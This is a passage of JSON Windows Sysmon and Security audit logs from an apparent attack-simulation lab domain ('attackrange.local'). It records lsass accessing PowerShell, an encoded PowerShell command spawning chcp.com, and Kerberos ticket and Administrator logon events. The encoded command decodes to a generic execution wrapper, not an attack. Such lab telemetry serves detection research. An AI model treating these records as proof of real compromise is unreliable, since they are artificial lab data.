11:55:38.959","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010CB190600}","TargetProcessId":"4256","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4351,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.959\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010CB190600}\r\nTargetProcessId: 4256\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.959","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010CB190600}","TargetProcessId":"4256","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4352,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.028\r\nProcessGuid: {90617006-413B-5F2D-0000-00102D270600}\r\nProcessId: 884\r\nImage: C:\\Windows\\System32\\chcp.com\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Change CodePage Utility\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CHCP.COM\r\nCommandLine: \"C:\\Windows\\system32\\chcp.com\" 65001\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD\r\nParentProcessGuid: {90617006-413A-5F2D-0000-0010CB190600}\r\nParentProcessId: 4256\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.028","ProcessGuid":"{90617006-413B-5F2D-0000-00102D270600}","Image":"C:\\Windows\\System32\\chcp.com","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Change CodePage Utility","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"CHCP.COM","CommandLine":"\"C:\\Windows\\system32\\chcp.com\" 65001","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD","ParentProcessGuid":"{90617006-413A-5F2D-0000-0010CB190600}","ParentProcessId":"4256","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221851,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221852,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221853,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221854,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x60A1E\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x60a1e","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221855,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x60A1E\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x60a1e","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221856,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221857,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221858,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process 